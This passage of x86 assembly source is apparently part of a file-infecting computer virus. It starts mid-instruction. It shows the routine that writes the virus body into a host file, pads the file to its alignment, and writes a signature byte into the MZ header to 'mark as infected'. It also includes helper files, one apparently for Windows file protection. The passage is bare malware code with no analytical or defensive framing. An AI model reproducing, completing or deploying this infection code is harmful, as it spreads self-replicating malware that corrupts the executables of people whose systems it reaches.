eax, eax mov al, START_SIZE push byte 2 pop ecx ;int3 .loop1 push ecx push byte 0 push esp push eax ;dwSize push edx ;lpBuffer push ebx call [edi + WriteFile] add esi, [esp - 4] call startcode pop edx sub edx, byte (LGetProcAddress - _entry - START_SIZE) mov eax, (VIRUS_SIZE - START_SIZE) pop ecx loop .loop1 push ecx ;FILE_BEGIN push ecx mov eax, esi mov ecx, FILE_ALIGN xor edx, edx div ecx inc eax mul ecx push eax push ebx call [edi + SetFilePointer] push ebx call [edi + SetEndOfFile] .markclose2 push byte SIGN_BYTE mov edx, esp xor ecx, ecx push ecx ;WriteFile push esp ;`` push byte 1 ;`` push edx ;`` push ecx ;SetFilePointer push ecx ;`` push byte SIGN_OFFS push ebx call [edi + SetFilePointer] ;MZ header inc eax jz .close2 push ebx call [edi + WriteFile] ;mark as infected .close2 or ebx, ebx jz .end push ebx call [edi + CloseHandle] .end leave ret %include "cback.asm" %include "sfc.asm" VIRUS_SIZE EQU ($- _entry)